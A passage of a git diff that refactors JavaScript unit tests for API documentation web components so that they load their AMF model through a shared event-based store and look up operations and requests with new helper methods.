+          store.amf = oasCallbacksModel;
+          const data = loader.getOperation(oasCallbacksModel, '/subscribe', 'post');
+          const element = await basicFixture(data);
           const response = element.shadowRoot.querySelector('api-response-document');
           assert.ok(response, 'has the response');
 
@@ -330,18 +345,20 @@ describe('ApiOperationDocumentElement', () => {
         });
 
         it('renders the responses section', async () => {
-          const data = loader.lookupOperation(oasCallbacksModel, '/subscribe', 'post');
-          const element = await basicFixture(oasCallbacksModel, data);
+          store.amf = oasCallbacksModel;
+          const data = loader.getOperation(oasCallbacksModel, '/subscribe', 'post');
+          const element = await basicFixture(data);
           const response = element.shadowRoot.querySelector('api-response-document');
           assert.ok(response, 'has the response');
 
-          assert.isTrue(response.amf === oasCallbacksModel, 'passes the amf model');
+          assert.equal(response.domainId, data.responses[0].id, 'passes the amf model');
           assert.typeOf(response.response, 'object', 'passes the response model');
         });
 
         it('does not render responses when not defined', async () => {
-          const data = loader.lookupOperation(demoModel, '/query-params/bool', 'get');
-          const element = await basicFixture(demoModel, data);
+          store.amf = demoModel;
+          const data = loader.getOperation(demoModel, '/query-params/bool', 'get');
+          const element = await basicFixture(data);
           const response = element.shadowRoot.querySelector('api-response-document');
           assert.notOk(response, 'has not response documentation');
         });
@@ -352,19 +369,20 @@ describe('ApiOperationDocumentElement', () => {
         let demoModel;
         before(async () => {
           demoModel = await loader.getGraph(compact);
+          store.amf = demoModel;
         });
 
         it('does not render the try-it by default', async () => {
-          const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put');
-          const element = await basicFixture(demoModel, data);
+          const data = loader.getOperation(demoModel, '/orgs/{orgId}', 'put');
+          const element = await basicFixture( data);
           const header = element.shadowRoot.querySelector('.operation-header');
           const button = header.querySelector('.action-button');
           assert.notOk(button, 'has no button in the header');
         });
 
         it('renders the try-it when configured', async () => {
-          const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put');
-          const element = await tryItFixture(demoModel, data);
+          const data = loader.getOperation(demoModel, '/orgs/{orgId}', 'put');
+          const element = await tryItFixture(data);
           const header = element.shadowRoot.querySelector('.operation-header');
           const button = header.querySelector('.action-button');
           assert.ok(button, 'has the button');
@@ -372,8 +390,8 @@ describe('ApiOperationDocumentElement', () => {
         });
 
         it('dispatches the bubbling tryit event when clicking on the button', async () => {
-          const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put');
-          const element = await tryItFixture(demoModel, data);
+          const data = loader.getOperation(demoModel, '/orgs/{orgId}', 'put');
+          const element = await tryItFixture(data);
           const header = element.shadowRoot.querySelector('.operation-header');
           const button = /** @type HTMLElement */ (header.querySelector('.action-button'));
           const spy = sinon.spy();
@@ -386,8 +404,8 @@ describe('ApiOperationDocumentElement', () => {
         });
 
         it('dispatches the bubbling legacy tryit-requested event when clicking on the button', async () => {
-          const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put');
-          const element = await tryItFixture(demoModel, data);
+          const data = loader.getOperation(demoModel, '/orgs/{orgId}', 'put');
+          const element = await tryItFixture(data);
           const header = element.shadowRoot.querySelector('.operation-header');
           const button = /** @type HTMLElement */ (header.querySelector('.action-button'));
           const spy = sinon.spy();
@@ -405,11 +423,12 @@ describe('ApiOperationDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact);
+          store.amf = model;
         });
 
         it('renders the response status code selector', async () => {
-          const data = loader.lookupOperation(model, '/people', 'get');
-          const element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/people', 'get');
+          const element = await basicFixture(data);
 
           const selector = element.shadowRoot.querySelector('.status-codes-selector');
           assert.ok(selector, 'has the selector section');
@@ -425,20 +444,20 @@ describe('ApiOperationDocumentElement', () => {
         });
 
         it('renders the response for the status', async () => {
-          const data = loader.lookupOperation(model, '/people', 'get');
-          const element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/people', 'get');
+          const element = await basicFixture(data);
 
           const doc = element.shadowRoot.querySelector('api-response-document');
           assert.ok(doc);
 
-          assert.isTrue(doc.amf === model, 'passes the amf model');
+          assert.equal(doc.domainId, data.responses[0].id, 'passes the amf model');
           assert.typeOf(doc.response, 'object', 'passes the response model');
           assert.typeOf(doc.response.id, 'string', 'passes the serialized response model');
         });
 
         it('switches the response when selecting a status code', async () => {
-          const data = loader.lookupOperation(model, '/people', 'get');
-          const element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/people', 'get');
+          const element = await basicFixture(data);
 
           const requestBefore = element.shadowRoot.querySelector('api-response-document').response.id;
 
@@ -456,8 +475,8 @@ describe('ApiOperationDocumentElement', () => {
         });
 
         it('does not render responses section when no responses in the model', async () => {
-          const data = loader.lookupOperation(model, '/scalarArrays', 'get');
-          const element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/scalarArrays', 'post');
+          const element = await basicFixture(data);
 
           const doc = element.shadowRoot.querySelector('api-response-document');
           assert.notOk(doc);
@@ -469,13 +488,14 @@ describe('ApiOperationDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact);
+          store.amf = model;
         });
 
         /** @type ApiOperationDocumentElement */
         let element;
         beforeEach(async () => {
-          const data = loader.lookupOperation(model, '/people', 'put');
-          element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/people', 'put');
+          element = await basicFixture(data);
         });
 
         it('renders the status codes section', () => {
@@ -518,17 +538,18 @@ describe('ApiOperationDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, 'secured-api');
+          store.amf = model;
         });
 
         it('preselects the first security', async () => {
-          const data = loader.lookupOperation(model, '/basic', 'get');
-          const element = await securityFixture(model, data);
+          const data = loader.getOperation(model, '/basic', 'get');
+          const element = await securityFixture(data);
           assert.typeOf(element.securityId, 'string', 'has the securityId');
         });
 
         it('renders a single security', async () => {
-          const data = loader.lookupOperation(model, '/basic', 'get');
-          const element = await securityFixture(model, data);
+          const data = loader.getOperation(model, '/basic', 'get');
+          const element = await securityFixture(data);
 
           const selector = element.shadowRoot.querySelector('.security-selector');
           assert.notOk(selector, 'has no security selector');
@@ -536,14 +557,14 @@ describe('ApiOperationDocumentElement', () => {
           const doc = element.shadowRoot.querySelector('api-security-requirement-document');
           assert.ok(doc, 'has the security documentation');
 
-          assert.isTrue(doc.amf === model, 'passes the model');
+          assert.equal(doc.domainId, data.security[0].id, 'passes the security id');
           assert.typeOf(doc.securityRequirement, 'object', 'passes the security object');
           // assert.typeOf(doc.domainId, 'string', 'passes the security id');
         });
 
         it('renders multiple security options', async () => {
-          const data = loader.lookupOperation(model, '/combo-types', 'get');
-          const element = await securityFixture(model, data);
+          const data = loader.getOperation(model, '/combo-types', 'get');
+          const element = await securityFixture(data);
 
           const selector = element.shadowRoot.querySelector('.security-selector');
           assert.ok(selector, 'has the security selector');
@@ -551,14 +572,13 @@ describe('ApiOperationDocumentElement', () => {
           const doc = element.shadowRoot.querySelector('api-security-requirement-document');
           assert.ok(doc, 'has the security documentation');
 
-          assert.isTrue(doc.amf === model, 'passes the model');
+          assert.equal(doc.domainId, data.security[0].id, 'passes the security id');
           assert.typeOf(doc.securityRequirement, 'object', 'passes the security object');
-          // assert.typeOf(doc.domainId, 'string', 'passes the security id');
         });
 
         it('switches between the security schemes', async () => {
-          const data = loader.lookupOperation(model, '/combo-types', 'get');
-          const element = await securityFixture(model, data);
+          const data = loader.getOperation(model, '/combo-types', 'get');
+          const element = await securityFixture(data);
 
           const selector = element.shadowRoot.querySelector('.security-selector');
           const tabs = selector.querySelectorAll('anypoint-tab');
@@ -570,7 +590,7 @@ describe('ApiOperationDocumentElement', () => {
           const doc = element.shadowRoot.querySelector('api-security-requirement-document');
           assert.ok(doc, 'has the security documentation');
 
-          // assert.equal(doc.domainId, tabs[1].dataset.id, 'passes the security id');
+          assert.equal(doc.domainId, tabs[1].dataset.id, 'passes the security id');
           assert.equal(doc.securityRequirement.id, tabs[1].dataset.id, 'passes the security object');
         });
       });
@@ -580,35 +600,36 @@ describe('ApiOperationDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, 'SE-12752');
+          store.amf = model;
         });
 
         it('renders parameters table with query parameters as a NodeShape', async () => {
-          const data = loader.lookupOperation(model, '/test', 'get');
-          const element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/test', 'get');
+          const element = await basicFixture(data);
           const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document'));
           const params = requestDoc.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]');
           assert.lengthOf(params, 2, 'has both parameters from the query string');
         });
   
         it('renders parameters table with query parameters as an ArrayShape', async () => {
-          const data = loader.lookupOperation(model, '/array', 'get');
-          const element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/array', 'get');
+          const element = await basicFixture(data);
           const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document'));
           const params = requestDoc.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]');
           assert.lengthOf(params, 1, 'has the single parameter item');
         });
   
         it('renders parameters table with query parameters as an UnionShape', async () => {
-          const data = loader.lookupOperation(model, '/union', 'get');
-          const element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/union', 'get');
+          const element = await basicFixture(data);
           const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document'));
           const params = requestDoc.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]');
           assert.lengthOf(params, 2, 'has both parameters from the query string');
         });
   
         it('renders parameters table with query parameters as an ScalarShape', async () => {
-          const data = loader.lookupOperation(model, '/scalar', 'get');
-          const element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/scalar', 'get');
+          const element = await basicFixture(data);
           const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document'));
           const params = requestDoc.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]');
           assert.lengthOf(params, 1, 'has the single parameter item');
@@ -620,6 +641,7 @@ describe('ApiOperationDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, 'SE-12957');
+          store.amf = model;
         });
 
         /** @type ApiOperationDocumentElement */
@@ -627,8 +649,8 @@ describe('ApiOperationDocumentElement', () => {
         /** @type ApiRequestDocumentElement */
         let request;
         beforeEach(async () => {
-          const data = loader.lookupOperation(model, '/api/v1/alarm/{scada-object-key}', 'get');
-          element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/api/v1/alarm/{scada-object-key}', 'get');
+          element = await basicFixture(data);
           request = element.shadowRoot.querySelector('api-request-document');
         });
 
@@ -657,18 +679,19 @@ describe('ApiOperationDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, 'SE-12959');
+          store.amf = model;
         });
 
         it('has no summary by default', async () => {
-          const data = loader.lookupOperation(model, '/api/v1/alarm/{scada-object-key}', 'get');
-          const element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/api/v1/alarm/{scada-object-key}', 'get');
+          const element = await basicFixture(data);
           const summary = element.shadowRoot.querySelector('.summary');
           assert.notOk(summary, 'has no summary field');
         });
 
         it('renders the summary', async () => {
-          const data = loader.lookupOperation(model, '/api/v1/downtime/site/{site-api-key}', 'get');
-          const element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/api/v1/downtime/site/{site-api-key}', 'get');
+          const element = await basicFixture(data);
           const summary = element.shadowRoot.querySelector('.summary');
           assert.ok(summary, 'has the summary field');
           assert.equal(summary.textContent.trim(), 'Get a list of downtime events for a site that overlap with a time period');
@@ -680,18 +703,19 @@ describe('ApiOperationDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, 'APIC-553');
+          store.amf = model;
         });
 
         it('sets the code snippets with endpoint uri and no query params', async () => {
-          const data = loader.lookupOperation(model, '/cmt', 'get');
-          const element = await snippetsFixture(model, data);
+          const data = loader.getOperation(model, '/cmt', 'get');
+          const element = await snippetsFixture(data);
           assert.equal(element.snippetsUri, 'http://domain.org/cmt');
           assert.equal(element.shadowRoot.querySelector('http-code-snippets').url, 'http://domain.org/cmt');
         });
 
         it('sets the code snippets with endpoint uri and a query params', async () => {
-          const data = loader.lookupOperation(model, '/cmt-with-qp-example', 'get');
-          const element = await snippetsFixture(model, data);
+          const data = loader.getOperation(model, '/cmt-with-qp-example', 'get');
+          const element = await snippetsFixture(data);
           assert.equal(element.snippetsUri, 'http://domain.org/cmt-with-qp-example?orx=foo');
           assert.equal(element.shadowRoot.querySelector('http-code-snippets').url, 'http://domain.org/cmt-with-qp-example?orx=foo');
         });
@@ -702,18 +726,19 @@ describe('ApiOperationDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, 'APIC-582');
+          store.amf = model;
         });
 
         it('does not render code snippets', async () => {
-          const data = loader.lookupOperation(model, 'user/signedup', 'subscribe');
-          const element = await asyncFixture(model, data);
+          const data = loader.getOperation(model, 'user/signedup', 'subscribe');
+          const element = await asyncFixture(data);
           const node = element.shadowRoot.querySelector('http-code-snippets');
           assert.notOk(node);
         });
 
         it('does not render request parameters', async () => {
-          const data = loader.lookupOperation(model, 'user/signedup', 'subscribe');
-          const element = await snippetsFixture(model, data);
+          const data = loader.getOperation(model, 'user/signedup', 'subscribe');
+          const element = await snippetsFixture(data);
           const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document'));
           const params = requestDoc.shadowRoot.querySelectorAll('.params-section');
           assert.lengthOf(params, 0);
@@ -725,6 +750,7 @@ describe('ApiOperationDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, 'APIC-650');
+          store.amf = model;
         });
 
         /** @type ApiOperationDocumentElement */
@@ -732,8 +758,8 @@ describe('ApiOperationDocumentElement', () => {
         /** @type ApiRequestDocumentElement */
         let request;
         beforeEach(async () => {
-          const data = loader.lookupOperation(model, '/testEndpoint1/{uriParam1}', 'get');
-          element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/testEndpoint1/{uriParam1}', 'get');
+          element = await basicFixture(data);
           request = element.shadowRoot.querySelector('api-request-document');
         });
     
@@ -745,9 +771,10 @@ describe('ApiOperationDocumentElement', () => {
         });
     
         it('endpointVariables updated after selection changes', async () => {
-          const data = loader.lookupOperation(model, '/testEndpoint2/{uriParam2}', 'get');
-          element.domainModel = data;
-          await aTimeout(1);
+          const data = loader.getOperation(model, '/testEndpoint2/{uriParam2}', 'get');
+          element.domainId = data.id;
+          element.operation = data;
+          await aTimeout(2);
           
           const params = request.shadowRoot.querySelectorAll('api-parameter-document[data-name="uri"]');
           assert.lengthOf(params, 1, 'has a single path parameter');
diff --git a/test/elements/ApiRequestDocumentElement.test.js b/test/elements/ApiRequestDocumentElement.test.js
index 9311c9e..ecc72fc 100644
--- a/test/elements/ApiRequestDocumentElement.test.js
+++ b/test/elements/ApiRequestDocumentElement.test.js
@@ -1,29 +1,30 @@
 import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import '../../define/api-request-document.js';
 
 /** @typedef {import('../../').ApiRequestDocumentElement} ApiRequestDocumentElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
-/** @typedef {import('../../src/helpers/amf').Request} Request */
+/** @typedef {import('../../src/helpers/api').ApiRequest} ApiRequest */
 
 describe('ApiRequestDocumentElement', () => {
   const loader = new AmfLoader();
+  const store = new DomEventsAmfStore(window);
+  store.listen();
 
   /**
-   * @param {AmfDocument} amf
-   * @param {Request=} shape
+   * @param {ApiRequest=} shape
    * @param {string=} mimeType
    * @returns {Promise<ApiRequestDocumentElement>}
    */
-  async function basicFixture(amf, shape, mimeType) {
+  async function basicFixture(shape, mimeType) {
     const element = await fixture(html`<api-request-document 
       .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
-      .domainModel="${shape}"
+      .request="${shape}"
       .mimeType="${mimeType}"
     ></api-request-document>`);
-    await aTimeout(0);
+    await aTimeout(1);
     return /** @type ApiRequestDocumentElement */ (element);
   }
 
@@ -33,11 +34,12 @@ describe('ApiRequestDocumentElement', () => {
       let model;
       before(async () => {
         model = await loader.getGraph(compact);
+        store.amf = model;
       });
 
       it('renders the request headers', async () => {
-        const data = loader.lookupRequest(model, '/people', 'get');
-        const element = await basicFixture(model, data);
+        const data = loader.getRequest(model, '/people', 'get');
+        const element = await basicFixture(data);
 
         assert.isTrue(element.hasHeaders, 'hasHeaders is true');
 
@@ -49,8 +51,8 @@ describe('ApiRequestDocumentElement', () => {
       });
 
       it('ignores headers section when no headers', async () => {
-        const data = loader.lookupRequest(model, '/messages', 'get');
-        const element = await basicFixture(model, data);
+        const data = loader.getRequest(model, '/messages', 'get');
+        const element = await basicFixture(data);
 
         assert.isFalse(element.hasHeaders, 'hasHeaders is true');
 
@@ -64,19 +66,20 @@ describe('ApiRequestDocumentElement', () => {
       let model;
       before(async () => {
         model = await loader.getGraph(compact);
+        store.amf = model;
       });
 
       it('renders the payload schema', async () => {
-        const data = loader.lookupRequest(model, '/people', 'post');
-        const element = await basicFixture(model, data);
+        const data = loader.getRequest(model, '/people', 'post');
+        const element = await basicFixture(data);
 
         const node = element.shadowRoot.querySelector('api-payload-document');
         assert.ok(node, 'has the payload document');
       });
 
       it('ignores the payload when not defined', async () => {
-        const data = loader.lookupRequest(model, '/people', 'get');
-        const element = await basicFixture(model, data);
+        const data = loader.getRequest(model, '/people', 'get');
+        const element = await basicFixture(data);
 
         const node = element.shadowRoot.querySelector('api-payload-document');
         assert.notOk(node);
@@ -88,11 +91,12 @@ describe('ApiRequestDocumentElement', () => {
       let model;
       before(async () => {
         model = await loader.getGraph(compact);
+        store.amf = model;
       });
 
       it('renders the request media type selector', async () => {
-        const data = loader.lookupRequest(model, '/people', 'put');
-        const element = await basicFixture(model, data);
+        const data = loader.getRequest(model, '/people', 'put');
+        const element = await basicFixture(data);
 
         const section = element.shadowRoot.querySelector('.params-section[data-controlled-by="payloadOpened"]');
         const selector = section.querySelector('.media-type-selector');
@@ -103,8 +107,8 @@ describe('ApiRequestDocumentElement', () => {
       });
 
       it('ignores the media type when not defined', async () => {
-        const data = loader.lookupRequest(model, '/orgs/{orgId}', 'put');
-        const element = await basicFixture(model, data);
+        const data = loader.getRequest(model, '/orgs/{orgId}', 'put');
+        const element = await basicFixture(data);
 
         const section = element.shadowRoot.querySelector('.params-section[data-controlled-by="payloadOpened"]');
         const selector = section.querySelector('.media-type-selector');
@@ -112,8 +116,8 @@ describe('ApiRequestDocumentElement', () => {
       });
 
       it('selecting a mime type changes the payload', async () => {
-        const data = loader.lookupRequest(model, '/people', 'put');
-        const element = await basicFixture(model, data);
+        const data = loader.getRequest(model, '/people', 'put');
+        const element = await basicFixture(data);
 
         const section = element.shadowRoot.querySelector('.params-section[data-controlled-by="payloadOpened"]');
         const selector = section.querySelector('.media-type-selector');
@@ -133,11 +137,12 @@ describe('ApiRequestDocumentElement', () => {
       let model;
       before(async () => {
         model = await loader.getGraph(compact, 'APIC-463');
+        store.amf = model;
       });
 
       it('renders the request media type selector', async () => {
-        const data = loader.lookupRequest(model, '/test', 'post');
-        const element = await basicFixture(model, data);
+        const data = loader.getRequest(model, '/test', 'post');
+        const element = await basicFixture(data);
 
         const section = element.shadowRoot.querySelector('.params-section[data-controlled-by="payloadOpened"]');
         const selector = section.querySelector('.media-type-selector');
@@ -155,11 +160,12 @@ describe('ApiRequestDocumentElement', () => {
       let model;
       before(async () => {
         model = await loader.getGraph(compact, 'anyOf');
+        store.amf = model;
       });
 
       it('renders the documentation for anyOf type', async () => {
-        const data = loader.lookupRequest(model, 'test', 'publish');
-        const element = await basicFixture(model, data);
+        const data = loader.getRequest(model, 'test', 'publish');
+        const element = await basicFixture(data);
         const doc = element.shadowRoot.querySelector('api-payload-document');
         assert.ok(doc);
       });
diff --git a/test/elements/ApiResourceDocumentElement.test.js b/test/elements/ApiResourceDocumentElement.test.js
index 858d30b..c3cce09 100644
--- a/test/elements/ApiResourceDocumentElement.test.js
+++ b/test/elements/ApiResourceDocumentElement.test.js
@@ -2,6 +2,7 @@ import { fixture, assert, html, aTimeout, nextFrame } from '@open-wc/testing';
 import { requestValues } from '../../src/elements/ApiResourceDocumentElement.js';
 import { AmfLoader } from '../AmfLoader.js';
 import { loadMonaco } from '../MonacoSetup.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import '../../define/api-resource-document.js';
 
 /** @typedef {import('../../').ApiResourceDocumentElement} ApiResourceDocumentElement */
@@ -11,55 +12,51 @@ import '../../define/api-resource-document.js';
 
 describe('ApiResourceDocumentElement', () => {
   const loader = new AmfLoader();
+  const store = new DomEventsAmfStore(window);
+  store.listen();
 
   before(async () => loadMonaco());
 
   /**
-   * @param {AmfDocument} amf
    * @param {string=} domainId
    * @param {string=} operationId
    * @returns {Promise<ApiResourceDocumentElement>}
    */
-  async function basicFixture(amf, domainId, operationId) {
+  async function basicFixture(domainId, operationId) {
     const element = await fixture(html`<api-resource-document 
       .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
       .domainId="${domainId}"
       .operationId="${operationId}"
     ></api-resource-document>`);
-    await aTimeout(0);
+    await aTimeout(2);
     return /** @type ApiResourceDocumentElement */ (element);
   }
 
   /**
-   * @param {AmfDocument} amf
    * @param {string=} domainId
    * @returns {Promise<ApiResourceDocumentElement>}
    */
-  async function asyncFixture(amf, domainId) {
+  async function asyncFixture(domainId) {
     const element = await fixture(html`<api-resource-document 
-      .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
+      .queryDebouncerTimeout="${0}"
       .domainId="${domainId}"
       asyncApi
     ></api-resource-document>`);
-    await aTimeout(0);
+    await aTimeout(2);
     return /** @type ApiResourceDocumentElement */ (element);
   }
 
   /**
-   * @param {AmfDocument} amf
    * @param {string=} domainId
    * @returns {Promise<ApiResourceDocumentElement>}
    */
-  async function tryItPanelFixture(amf, domainId) {
+  async function tryItPanelFixture(domainId) {
     const element = await fixture(html`<api-resource-document 
-      .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
+      .queryDebouncerTimeout="${0}"
       .domainId="${domainId}"
       tryItPanel
     ></api-resource-document>`);
-    await aTimeout(0);
+    await aTimeout(2);
     return /** @type ApiResourceDocumentElement */ (element);
   }
 
@@ -77,9 +74,13 @@ describe('ApiResourceDocumentElement', () => {
     });
 
     describe('graph processing', () => {
+      before(() => {
+        store.amf = demoModel;
+      });
+
       it('sets the endpoint value', async () => {
         const data = loader.lookupEndpoint(demoModel, '/messages');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
 
         const { endpoint } = element;
         assert.typeOf(endpoint, 'object', 'has the endpoint');
@@ -88,7 +89,7 @@ describe('ApiResourceDocumentElement', () => {
 
       it('sets the endpointUri value', async () => {
         const data = loader.lookupEndpoint(demoModel, '/messages');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
 
         const { endpointUri } = element;
         assert.equal(endpointUri, 'http://{instance}.domain.com/messages');
@@ -96,7 +97,7 @@ describe('ApiResourceDocumentElement', () => {
 
       it('sets the servers value', async () => {
         const data = loader.lookupEndpoint(demoModel, '/messages');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
 
         const { servers } = element;
         assert.typeOf(servers, 'array', 'has the servers array');
@@ -109,7 +110,7 @@ describe('ApiResourceDocumentElement', () => {
       it.skip('scrolls to the selected operation when initializing', async () => {
         const data = loader.lookupEndpoint(demoModel, '/people');
         const op = loader.getOperation(demoModel, '/people', 'put');
-        await basicFixture(demoModel, data['@id'], op.id);
+        await basicFixture(data['@id'], op.id);
         assert.equal(window.scrollY, 0, 'initial scroll is 0');
         await aTimeout(400);
         assert.notEqual(window.scrollY, 0, 'the window is scrolled')
@@ -118,32 +119,36 @@ describe('ApiResourceDocumentElement', () => {
 
     describe('title are rendering', () => {
       it('renders the endpoint name, when defined', async () => {
+        store.amf = demoModel;
         const data = loader.lookupEndpoint(demoModel, '/people');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         const header = element.shadowRoot.querySelector('.endpoint-header');
         const label = header.querySelector('.label');
         assert.equal(label.textContent.trim(), 'People');
       });
 
       it('renders the endpoint path, when name not defined', async () => {
+        store.amf = demoModel;
         const data = loader.lookupEndpoint(demoModel, '/orgs/{orgId}');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         const header = element.shadowRoot.querySelector('.endpoint-header');
         const label = header.querySelector('.label');
         assert.equal(label.textContent.trim(), '/orgs/{orgId}');
       });
 
       it('renders the endpoint sub-title for sync API', async () => {
+        store.amf = demoModel;
         const data = loader.lookupEndpoint(demoModel, '/orgs/{orgId}');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         const header = element.shadowRoot.querySelector('.endpoint-header');
         const label = header.querySelector('.sub-header');
         assert.equal(label.textContent.trim(), 'API endpoint');
       });
 
       it('renders the endpoint sub-title for async API', async () => {
+        store.amf = asyncModel;
         const data = loader.lookupEndpoint(asyncModel, 'hello');
-        const element = await asyncFixture(asyncModel, data['@id']);
+        const element = await asyncFixture(data['@id']);
         const header = element.shadowRoot.querySelector('.endpoint-header');
         const label = header.querySelector('.sub-header');
         assert.equal(label.textContent.trim(), 'API channel');
@@ -152,15 +157,17 @@ describe('ApiResourceDocumentElement', () => {
 
     describe('URL rendering', () => {
       it('renders the endpoint uri for a synchronous API', async () => {
+        store.amf = petStoreModel;
         const data = loader.lookupEndpoint(petStoreModel, '/pets');
-        const element = await basicFixture(petStoreModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         const value = element.shadowRoot.querySelector('.endpoint-url .url-value');
         assert.equal(value.textContent.trim(), 'http://petstore.swagger.io/api/pets');
       });
 
       it('renders the channel uri for an async API', async () => {
+        store.amf = asyncModel;
         const data = loader.lookupEndpoint(asyncModel, 'goodbye');
-        const element = await basicFixture(asyncModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         const value = element.shadowRoot.querySelector('.endpoint-url .url-value');
         assert.equal(value.textContent.trim(), 'amqp://broker.mycompany.com/goodbye');
       });
@@ -171,32 +178,40 @@ describe('ApiResourceDocumentElement', () => {
     // a valid model.
     // 
     describe.skip('Extensions rendering', () => {
+      before(() => {
+        store.amf = demoModel;
+      });
+
       it('renders resource type extension', async () => {
         const data = loader.lookupEndpoint(demoModel, '/people/{personId}');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         const value = element.shadowRoot.querySelector('.extensions');
         assert.equal(value.textContent.trim(), 'Implements ResourceNotFound.');
       });
 
       it('renders traits extension', async () => {
         const data = loader.lookupEndpoint(demoModel, '/orgs/{orgId}');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         const value = element.shadowRoot.querySelector('.extensions');
         assert.equal(value.textContent.trim(), 'Mixes in RateLimited.');
       });
 
       it('renders both the traits and the response type extension', async () => {
         const data = loader.lookupEndpoint(demoModel, '/people');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         const value = element.shadowRoot.querySelector('.extensions');
         assert.equal(value.textContent.trim(), 'Implements RequestErrorResponse. Mixes in RateLimited.');
       });
     });
 
     describe('Description rendering', () => {
+      before(() => {
+        store.amf = demoModel;
+      });
+
       it('renders the description', async () => {
         const data = loader.lookupEndpoint(demoModel, '/people/{personId}');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         const desc = element.shadowRoot.querySelector('.api-description');
         assert.ok(desc, 'has the description');
         const marked = desc.querySelector('arc-marked');
@@ -205,26 +220,30 @@ describe('ApiResourceDocumentElement', () => {
 
       it('renders traits extension', async () => {
         const data = loader.lookupEndpoint(demoModel, '/people');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         const desc = element.shadowRoot.querySelector('.api-description');
         assert.notOk(desc, 'has no description');
       });
     });
 
     describe('renders operations', () => {
+      before(() => {
+        store.amf = demoModel;
+      });
+
       it('renders all operations in the endpoint', async () => {
         const data = loader.lookupEndpoint(demoModel, '/people');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         const elements = element.shadowRoot.querySelectorAll('api-operation-document');
         assert.lengthOf(elements, 4);
       });
 
       it('sets a minimum properties', async () => {
         const data = loader.lookupEndpoint(demoModel, '/messages');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         const op = element.shadowRoot.querySelector('api-operation-document');
-        assert.typeOf(op.amf, 'object', 'amf is set')
-        assert.typeOf(op.domainId, 'string', 'domainId is set')
+        assert.typeOf(op.domainId, 'string', 'domainId is set');
+        assert.typeOf(op.operation, 'object', 'operation is set');
         assert.typeOf(op.dataset.domainId, 'string', 'domainId is set')
         assert.isTrue(op.responsesOpened, 'responsesOpened is set')
         assert.isTrue(op.renderSecurity, 'renderSecurity is set')
@@ -232,7 +251,7 @@ describe('ApiResourceDocumentElement', () => {
 
       it('sets the baseUri', async () => {
         const data = loader.lookupEndpoint(demoModel, '/messages');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         element.baseUri = 'https://api.domain.com';
         await nextFrame();
         const op = element.shadowRoot.querySelector('api-operation-document');
@@ -241,7 +260,7 @@ describe('ApiResourceDocumentElement', () => {
 
       it('sets the tryItButton', async () => {
         const data = loader.lookupEndpoint(demoModel, '/messages');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         element.tryItButton = true;
         await nextFrame();
